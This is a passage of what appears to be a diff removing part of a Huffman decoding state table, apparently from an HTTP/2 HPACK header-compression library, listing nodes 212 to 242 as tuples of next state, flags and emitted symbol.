HUFFMAN_EMIT_SYMBOL, 212), - (24, HUFFMAN_EMIT_SYMBOL, 212), - (31, HUFFMAN_EMIT_SYMBOL, 212), - (41, HUFFMAN_EMIT_SYMBOL, 212), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 212), - - # Node 212 - (3, HUFFMAN_EMIT_SYMBOL, 214), - (6, HUFFMAN_EMIT_SYMBOL, 214), - (10, HUFFMAN_EMIT_SYMBOL, 214), - (15, HUFFMAN_EMIT_SYMBOL, 214), - (24, HUFFMAN_EMIT_SYMBOL, 214), - (31, HUFFMAN_EMIT_SYMBOL, 214), - (41, HUFFMAN_EMIT_SYMBOL, 214), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 214), - (3, HUFFMAN_EMIT_SYMBOL, 221), - (6, HUFFMAN_EMIT_SYMBOL, 221), - (10, HUFFMAN_EMIT_SYMBOL, 221), - (15, HUFFMAN_EMIT_SYMBOL, 221), - (24, HUFFMAN_EMIT_SYMBOL, 221), - (31, HUFFMAN_EMIT_SYMBOL, 221), - (41, HUFFMAN_EMIT_SYMBOL, 221), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 221), - - # Node 213 - (2, HUFFMAN_EMIT_SYMBOL, 222), - (9, HUFFMAN_EMIT_SYMBOL, 222), - (23, HUFFMAN_EMIT_SYMBOL, 222), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 222), - (2, HUFFMAN_EMIT_SYMBOL, 223), - (9, HUFFMAN_EMIT_SYMBOL, 223), - (23, HUFFMAN_EMIT_SYMBOL, 223), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 223), - (2, HUFFMAN_EMIT_SYMBOL, 241), - (9, HUFFMAN_EMIT_SYMBOL, 241), - (23, HUFFMAN_EMIT_SYMBOL, 241), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 241), - (2, HUFFMAN_EMIT_SYMBOL, 244), - (9, HUFFMAN_EMIT_SYMBOL, 244), - (23, HUFFMAN_EMIT_SYMBOL, 244), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 244), - - # Node 214 - (3, HUFFMAN_EMIT_SYMBOL, 222), - (6, HUFFMAN_EMIT_SYMBOL, 222), - (10, HUFFMAN_EMIT_SYMBOL, 222), - (15, HUFFMAN_EMIT_SYMBOL, 222), - (24, HUFFMAN_EMIT_SYMBOL, 222), - (31, HUFFMAN_EMIT_SYMBOL, 222), - (41, HUFFMAN_EMIT_SYMBOL, 222), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 222), - (3, HUFFMAN_EMIT_SYMBOL, 223), - (6, HUFFMAN_EMIT_SYMBOL, 223), - (10, HUFFMAN_EMIT_SYMBOL, 223), - (15, HUFFMAN_EMIT_SYMBOL, 223), - (24, HUFFMAN_EMIT_SYMBOL, 223), - (31, HUFFMAN_EMIT_SYMBOL, 223), - (41, HUFFMAN_EMIT_SYMBOL, 223), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 223), - - # Node 215 - (3, HUFFMAN_EMIT_SYMBOL, 241), - (6, HUFFMAN_EMIT_SYMBOL, 241), - (10, HUFFMAN_EMIT_SYMBOL, 241), - (15, HUFFMAN_EMIT_SYMBOL, 241), - (24, HUFFMAN_EMIT_SYMBOL, 241), - (31, HUFFMAN_EMIT_SYMBOL, 241), - (41, HUFFMAN_EMIT_SYMBOL, 241), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 241), - (3, HUFFMAN_EMIT_SYMBOL, 244), - (6, HUFFMAN_EMIT_SYMBOL, 244), - (10, HUFFMAN_EMIT_SYMBOL, 244), - (15, HUFFMAN_EMIT_SYMBOL, 244), - (24, HUFFMAN_EMIT_SYMBOL, 244), - (31, HUFFMAN_EMIT_SYMBOL, 244), - (41, HUFFMAN_EMIT_SYMBOL, 244), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 244), - - # Node 216 - (1, HUFFMAN_EMIT_SYMBOL, 245), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 245), - (1, HUFFMAN_EMIT_SYMBOL, 246), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 246), - (1, HUFFMAN_EMIT_SYMBOL, 247), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 247), - (1, HUFFMAN_EMIT_SYMBOL, 248), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 248), - (1, HUFFMAN_EMIT_SYMBOL, 250), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 250), - (1, HUFFMAN_EMIT_SYMBOL, 251), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 251), - (1, HUFFMAN_EMIT_SYMBOL, 252), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 252), - (1, HUFFMAN_EMIT_SYMBOL, 253), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 253), - - # Node 217 - (2, HUFFMAN_EMIT_SYMBOL, 245), - (9, HUFFMAN_EMIT_SYMBOL, 245), - (23, HUFFMAN_EMIT_SYMBOL, 245), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 245), - (2, HUFFMAN_EMIT_SYMBOL, 246), - (9, HUFFMAN_EMIT_SYMBOL, 246), - (23, HUFFMAN_EMIT_SYMBOL, 246), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 246), - (2, HUFFMAN_EMIT_SYMBOL, 247), - (9, HUFFMAN_EMIT_SYMBOL, 247), - (23, HUFFMAN_EMIT_SYMBOL, 247), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 247), - (2, HUFFMAN_EMIT_SYMBOL, 248), - (9, HUFFMAN_EMIT_SYMBOL, 248), - (23, HUFFMAN_EMIT_SYMBOL, 248), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 248), - - # Node 218 - (3, HUFFMAN_EMIT_SYMBOL, 245), - (6, HUFFMAN_EMIT_SYMBOL, 245), - (10, HUFFMAN_EMIT_SYMBOL, 245), - (15, HUFFMAN_EMIT_SYMBOL, 245), - (24, HUFFMAN_EMIT_SYMBOL, 245), - (31, HUFFMAN_EMIT_SYMBOL, 245), - (41, HUFFMAN_EMIT_SYMBOL, 245), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 245), - (3, HUFFMAN_EMIT_SYMBOL, 246), - (6, HUFFMAN_EMIT_SYMBOL, 246), - (10, HUFFMAN_EMIT_SYMBOL, 246), - (15, HUFFMAN_EMIT_SYMBOL, 246), - (24, HUFFMAN_EMIT_SYMBOL, 246), - (31, HUFFMAN_EMIT_SYMBOL, 246), - (41, HUFFMAN_EMIT_SYMBOL, 246), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 246), - - # Node 219 - (3, HUFFMAN_EMIT_SYMBOL, 247), - (6, HUFFMAN_EMIT_SYMBOL, 247), - (10, HUFFMAN_EMIT_SYMBOL, 247), - (15, HUFFMAN_EMIT_SYMBOL, 247), - (24, HUFFMAN_EMIT_SYMBOL, 247), - (31, HUFFMAN_EMIT_SYMBOL, 247), - (41, HUFFMAN_EMIT_SYMBOL, 247), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 247), - (3, HUFFMAN_EMIT_SYMBOL, 248), - (6, HUFFMAN_EMIT_SYMBOL, 248), - (10, HUFFMAN_EMIT_SYMBOL, 248), - (15, HUFFMAN_EMIT_SYMBOL, 248), - (24, HUFFMAN_EMIT_SYMBOL, 248), - (31, HUFFMAN_EMIT_SYMBOL, 248), - (41, HUFFMAN_EMIT_SYMBOL, 248), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 248), - - # Node 220 - (2, HUFFMAN_EMIT_SYMBOL, 250), - (9, HUFFMAN_EMIT_SYMBOL, 250), - (23, HUFFMAN_EMIT_SYMBOL, 250), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 250), - (2, HUFFMAN_EMIT_SYMBOL, 251), - (9, HUFFMAN_EMIT_SYMBOL, 251), - (23, HUFFMAN_EMIT_SYMBOL, 251), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 251), - (2, HUFFMAN_EMIT_SYMBOL, 252), - (9, HUFFMAN_EMIT_SYMBOL, 252), - (23, HUFFMAN_EMIT_SYMBOL, 252), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 252), - (2, HUFFMAN_EMIT_SYMBOL, 253), - (9, HUFFMAN_EMIT_SYMBOL, 253), - (23, HUFFMAN_EMIT_SYMBOL, 253), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 253), - - # Node 221 - (3, HUFFMAN_EMIT_SYMBOL, 250), - (6, HUFFMAN_EMIT_SYMBOL, 250), - (10, HUFFMAN_EMIT_SYMBOL, 250), - (15, HUFFMAN_EMIT_SYMBOL, 250), - (24, HUFFMAN_EMIT_SYMBOL, 250), - (31, HUFFMAN_EMIT_SYMBOL, 250), - (41, HUFFMAN_EMIT_SYMBOL, 250), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 250), - (3, HUFFMAN_EMIT_SYMBOL, 251), - (6, HUFFMAN_EMIT_SYMBOL, 251), - (10, HUFFMAN_EMIT_SYMBOL, 251), - (15, HUFFMAN_EMIT_SYMBOL, 251), - (24, HUFFMAN_EMIT_SYMBOL, 251), - (31, HUFFMAN_EMIT_SYMBOL, 251), - (41, HUFFMAN_EMIT_SYMBOL, 251), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 251), - - # Node 222 - (3, HUFFMAN_EMIT_SYMBOL, 252), - (6, HUFFMAN_EMIT_SYMBOL, 252), - (10, HUFFMAN_EMIT_SYMBOL, 252), - (15, HUFFMAN_EMIT_SYMBOL, 252), - (24, HUFFMAN_EMIT_SYMBOL, 252), - (31, HUFFMAN_EMIT_SYMBOL, 252), - (41, HUFFMAN_EMIT_SYMBOL, 252), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 252), - (3, HUFFMAN_EMIT_SYMBOL, 253), - (6, HUFFMAN_EMIT_SYMBOL, 253), - (10, HUFFMAN_EMIT_SYMBOL, 253), - (15, HUFFMAN_EMIT_SYMBOL, 253), - (24, HUFFMAN_EMIT_SYMBOL, 253), - (31, HUFFMAN_EMIT_SYMBOL, 253), - (41, HUFFMAN_EMIT_SYMBOL, 253), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 253), - - # Node 223 - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 254), - (227, 0, 0), - (229, 0, 0), - (230, 0, 0), - (233, 0, 0), - (234, 0, 0), - (236, 0, 0), - (237, 0, 0), - (241, 0, 0), - (242, 0, 0), - (244, 0, 0), - (245, 0, 0), - (248, 0, 0), - (249, 0, 0), - (251, 0, 0), - (252, 0, 0), - - # Node 224 - (1, HUFFMAN_EMIT_SYMBOL, 254), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 254), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 2), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 3), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 4), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 5), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 6), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 7), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 8), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 11), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 12), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 14), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 15), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 16), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 17), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 18), - - # Node 225 - (2, HUFFMAN_EMIT_SYMBOL, 254), - (9, HUFFMAN_EMIT_SYMBOL, 254), - (23, HUFFMAN_EMIT_SYMBOL, 254), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 254), - (1, HUFFMAN_EMIT_SYMBOL, 2), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 2), - (1, HUFFMAN_EMIT_SYMBOL, 3), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 3), - (1, HUFFMAN_EMIT_SYMBOL, 4), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 4), - (1, HUFFMAN_EMIT_SYMBOL, 5), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 5), - (1, HUFFMAN_EMIT_SYMBOL, 6), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 6), - (1, HUFFMAN_EMIT_SYMBOL, 7), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 7), - - # Node 226 - (3, HUFFMAN_EMIT_SYMBOL, 254), - (6, HUFFMAN_EMIT_SYMBOL, 254), - (10, HUFFMAN_EMIT_SYMBOL, 254), - (15, HUFFMAN_EMIT_SYMBOL, 254), - (24, HUFFMAN_EMIT_SYMBOL, 254), - (31, HUFFMAN_EMIT_SYMBOL, 254), - (41, HUFFMAN_EMIT_SYMBOL, 254), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 254), - (2, HUFFMAN_EMIT_SYMBOL, 2), - (9, HUFFMAN_EMIT_SYMBOL, 2), - (23, HUFFMAN_EMIT_SYMBOL, 2), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 2), - (2, HUFFMAN_EMIT_SYMBOL, 3), - (9, HUFFMAN_EMIT_SYMBOL, 3), - (23, HUFFMAN_EMIT_SYMBOL, 3), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 3), - - # Node 227 - (3, HUFFMAN_EMIT_SYMBOL, 2), - (6, HUFFMAN_EMIT_SYMBOL, 2), - (10, HUFFMAN_EMIT_SYMBOL, 2), - (15, HUFFMAN_EMIT_SYMBOL, 2), - (24, HUFFMAN_EMIT_SYMBOL, 2), - (31, HUFFMAN_EMIT_SYMBOL, 2), - (41, HUFFMAN_EMIT_SYMBOL, 2), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 2), - (3, HUFFMAN_EMIT_SYMBOL, 3), - (6, HUFFMAN_EMIT_SYMBOL, 3), - (10, HUFFMAN_EMIT_SYMBOL, 3), - (15, HUFFMAN_EMIT_SYMBOL, 3), - (24, HUFFMAN_EMIT_SYMBOL, 3), - (31, HUFFMAN_EMIT_SYMBOL, 3), - (41, HUFFMAN_EMIT_SYMBOL, 3), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 3), - - # Node 228 - (2, HUFFMAN_EMIT_SYMBOL, 4), - (9, HUFFMAN_EMIT_SYMBOL, 4), - (23, HUFFMAN_EMIT_SYMBOL, 4), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 4), - (2, HUFFMAN_EMIT_SYMBOL, 5), - (9, HUFFMAN_EMIT_SYMBOL, 5), - (23, HUFFMAN_EMIT_SYMBOL, 5), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 5), - (2, HUFFMAN_EMIT_SYMBOL, 6), - (9, HUFFMAN_EMIT_SYMBOL, 6), - (23, HUFFMAN_EMIT_SYMBOL, 6), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 6), - (2, HUFFMAN_EMIT_SYMBOL, 7), - (9, HUFFMAN_EMIT_SYMBOL, 7), - (23, HUFFMAN_EMIT_SYMBOL, 7), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 7), - - # Node 229 - (3, HUFFMAN_EMIT_SYMBOL, 4), - (6, HUFFMAN_EMIT_SYMBOL, 4), - (10, HUFFMAN_EMIT_SYMBOL, 4), - (15, HUFFMAN_EMIT_SYMBOL, 4), - (24, HUFFMAN_EMIT_SYMBOL, 4), - (31, HUFFMAN_EMIT_SYMBOL, 4), - (41, HUFFMAN_EMIT_SYMBOL, 4), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 4), - (3, HUFFMAN_EMIT_SYMBOL, 5), - (6, HUFFMAN_EMIT_SYMBOL, 5), - (10, HUFFMAN_EMIT_SYMBOL, 5), - (15, HUFFMAN_EMIT_SYMBOL, 5), - (24, HUFFMAN_EMIT_SYMBOL, 5), - (31, HUFFMAN_EMIT_SYMBOL, 5), - (41, HUFFMAN_EMIT_SYMBOL, 5), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 5), - - # Node 230 - (3, HUFFMAN_EMIT_SYMBOL, 6), - (6, HUFFMAN_EMIT_SYMBOL, 6), - (10, HUFFMAN_EMIT_SYMBOL, 6), - (15, HUFFMAN_EMIT_SYMBOL, 6), - (24, HUFFMAN_EMIT_SYMBOL, 6), - (31, HUFFMAN_EMIT_SYMBOL, 6), - (41, HUFFMAN_EMIT_SYMBOL, 6), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 6), - (3, HUFFMAN_EMIT_SYMBOL, 7), - (6, HUFFMAN_EMIT_SYMBOL, 7), - (10, HUFFMAN_EMIT_SYMBOL, 7), - (15, HUFFMAN_EMIT_SYMBOL, 7), - (24, HUFFMAN_EMIT_SYMBOL, 7), - (31, HUFFMAN_EMIT_SYMBOL, 7), - (41, HUFFMAN_EMIT_SYMBOL, 7), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 7), - - # Node 231 - (1, HUFFMAN_EMIT_SYMBOL, 8), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 8), - (1, HUFFMAN_EMIT_SYMBOL, 11), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 11), - (1, HUFFMAN_EMIT_SYMBOL, 12), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 12), - (1, HUFFMAN_EMIT_SYMBOL, 14), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 14), - (1, HUFFMAN_EMIT_SYMBOL, 15), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 15), - (1, HUFFMAN_EMIT_SYMBOL, 16), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 16), - (1, HUFFMAN_EMIT_SYMBOL, 17), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 17), - (1, HUFFMAN_EMIT_SYMBOL, 18), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 18), - - # Node 232 - (2, HUFFMAN_EMIT_SYMBOL, 8), - (9, HUFFMAN_EMIT_SYMBOL, 8), - (23, HUFFMAN_EMIT_SYMBOL, 8), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 8), - (2, HUFFMAN_EMIT_SYMBOL, 11), - (9, HUFFMAN_EMIT_SYMBOL, 11), - (23, HUFFMAN_EMIT_SYMBOL, 11), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 11), - (2, HUFFMAN_EMIT_SYMBOL, 12), - (9, HUFFMAN_EMIT_SYMBOL, 12), - (23, HUFFMAN_EMIT_SYMBOL, 12), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 12), - (2, HUFFMAN_EMIT_SYMBOL, 14), - (9, HUFFMAN_EMIT_SYMBOL, 14), - (23, HUFFMAN_EMIT_SYMBOL, 14), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 14), - - # Node 233 - (3, HUFFMAN_EMIT_SYMBOL, 8), - (6, HUFFMAN_EMIT_SYMBOL, 8), - (10, HUFFMAN_EMIT_SYMBOL, 8), - (15, HUFFMAN_EMIT_SYMBOL, 8), - (24, HUFFMAN_EMIT_SYMBOL, 8), - (31, HUFFMAN_EMIT_SYMBOL, 8), - (41, HUFFMAN_EMIT_SYMBOL, 8), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 8), - (3, HUFFMAN_EMIT_SYMBOL, 11), - (6, HUFFMAN_EMIT_SYMBOL, 11), - (10, HUFFMAN_EMIT_SYMBOL, 11), - (15, HUFFMAN_EMIT_SYMBOL, 11), - (24, HUFFMAN_EMIT_SYMBOL, 11), - (31, HUFFMAN_EMIT_SYMBOL, 11), - (41, HUFFMAN_EMIT_SYMBOL, 11), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 11), - - # Node 234 - (3, HUFFMAN_EMIT_SYMBOL, 12), - (6, HUFFMAN_EMIT_SYMBOL, 12), - (10, HUFFMAN_EMIT_SYMBOL, 12), - (15, HUFFMAN_EMIT_SYMBOL, 12), - (24, HUFFMAN_EMIT_SYMBOL, 12), - (31, HUFFMAN_EMIT_SYMBOL, 12), - (41, HUFFMAN_EMIT_SYMBOL, 12), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 12), - (3, HUFFMAN_EMIT_SYMBOL, 14), - (6, HUFFMAN_EMIT_SYMBOL, 14), - (10, HUFFMAN_EMIT_SYMBOL, 14), - (15, HUFFMAN_EMIT_SYMBOL, 14), - (24, HUFFMAN_EMIT_SYMBOL, 14), - (31, HUFFMAN_EMIT_SYMBOL, 14), - (41, HUFFMAN_EMIT_SYMBOL, 14), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 14), - - # Node 235 - (2, HUFFMAN_EMIT_SYMBOL, 15), - (9, HUFFMAN_EMIT_SYMBOL, 15), - (23, HUFFMAN_EMIT_SYMBOL, 15), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 15), - (2, HUFFMAN_EMIT_SYMBOL, 16), - (9, HUFFMAN_EMIT_SYMBOL, 16), - (23, HUFFMAN_EMIT_SYMBOL, 16), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 16), - (2, HUFFMAN_EMIT_SYMBOL, 17), - (9, HUFFMAN_EMIT_SYMBOL, 17), - (23, HUFFMAN_EMIT_SYMBOL, 17), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 17), - (2, HUFFMAN_EMIT_SYMBOL, 18), - (9, HUFFMAN_EMIT_SYMBOL, 18), - (23, HUFFMAN_EMIT_SYMBOL, 18), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 18), - - # Node 236 - (3, HUFFMAN_EMIT_SYMBOL, 15), - (6, HUFFMAN_EMIT_SYMBOL, 15), - (10, HUFFMAN_EMIT_SYMBOL, 15), - (15, HUFFMAN_EMIT_SYMBOL, 15), - (24, HUFFMAN_EMIT_SYMBOL, 15), - (31, HUFFMAN_EMIT_SYMBOL, 15), - (41, HUFFMAN_EMIT_SYMBOL, 15), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 15), - (3, HUFFMAN_EMIT_SYMBOL, 16), - (6, HUFFMAN_EMIT_SYMBOL, 16), - (10, HUFFMAN_EMIT_SYMBOL, 16), - (15, HUFFMAN_EMIT_SYMBOL, 16), - (24, HUFFMAN_EMIT_SYMBOL, 16), - (31, HUFFMAN_EMIT_SYMBOL, 16), - (41, HUFFMAN_EMIT_SYMBOL, 16), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 16), - - # Node 237 - (3, HUFFMAN_EMIT_SYMBOL, 17), - (6, HUFFMAN_EMIT_SYMBOL, 17), - (10, HUFFMAN_EMIT_SYMBOL, 17), - (15, HUFFMAN_EMIT_SYMBOL, 17), - (24, HUFFMAN_EMIT_SYMBOL, 17), - (31, HUFFMAN_EMIT_SYMBOL, 17), - (41, HUFFMAN_EMIT_SYMBOL, 17), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 17), - (3, HUFFMAN_EMIT_SYMBOL, 18), - (6, HUFFMAN_EMIT_SYMBOL, 18), - (10, HUFFMAN_EMIT_SYMBOL, 18), - (15, HUFFMAN_EMIT_SYMBOL, 18), - (24, HUFFMAN_EMIT_SYMBOL, 18), - (31, HUFFMAN_EMIT_SYMBOL, 18), - (41, HUFFMAN_EMIT_SYMBOL, 18), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 18), - - # Node 238 - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 19), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 20), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 21), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 23), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 24), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 25), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 26), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 27), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 28), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 29), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 30), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 31), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 127), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 220), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 249), - (253, 0, 0), - - # Node 239 - (1, HUFFMAN_EMIT_SYMBOL, 19), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 19), - (1, HUFFMAN_EMIT_SYMBOL, 20), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 20), - (1, HUFFMAN_EMIT_SYMBOL, 21), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 21), - (1, HUFFMAN_EMIT_SYMBOL, 23), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 23), - (1, HUFFMAN_EMIT_SYMBOL, 24), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 24), - (1, HUFFMAN_EMIT_SYMBOL, 25), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 25), - (1, HUFFMAN_EMIT_SYMBOL, 26), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 26), - (1, HUFFMAN_EMIT_SYMBOL, 27), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 27), - - # Node 240 - (2, HUFFMAN_EMIT_SYMBOL, 19), - (9, HUFFMAN_EMIT_SYMBOL, 19), - (23, HUFFMAN_EMIT_SYMBOL, 19), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 19), - (2, HUFFMAN_EMIT_SYMBOL, 20), - (9, HUFFMAN_EMIT_SYMBOL, 20), - (23, HUFFMAN_EMIT_SYMBOL, 20), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 20), - (2, HUFFMAN_EMIT_SYMBOL, 21), - (9, HUFFMAN_EMIT_SYMBOL, 21), - (23, HUFFMAN_EMIT_SYMBOL, 21), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 21), - (2, HUFFMAN_EMIT_SYMBOL, 23), - (9, HUFFMAN_EMIT_SYMBOL, 23), - (23, HUFFMAN_EMIT_SYMBOL, 23), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 23), - - # Node 241 - (3, HUFFMAN_EMIT_SYMBOL, 19), - (6, HUFFMAN_EMIT_SYMBOL, 19), - (10, HUFFMAN_EMIT_SYMBOL, 19), - (15, HUFFMAN_EMIT_SYMBOL, 19), - (24, HUFFMAN_EMIT_SYMBOL, 19), - (31, HUFFMAN_EMIT_SYMBOL, 19), - (41, HUFFMAN_EMIT_SYMBOL, 19), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 19), - (3, HUFFMAN_EMIT_SYMBOL, 20), - (6, HUFFMAN_EMIT_SYMBOL, 20), - (10, HUFFMAN_EMIT_SYMBOL, 20), - (15, HUFFMAN_EMIT_SYMBOL, 20), - (24, HUFFMAN_EMIT_SYMBOL, 20), - (31, HUFFMAN_EMIT_SYMBOL, 20), - (41, HUFFMAN_EMIT_SYMBOL, 20), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 20), - - # Node 242 - (3, HUFFMAN_EMIT_SYMBOL, 21), - (6, HUFFMAN_EMIT_SYMBOL, 21), - (10, 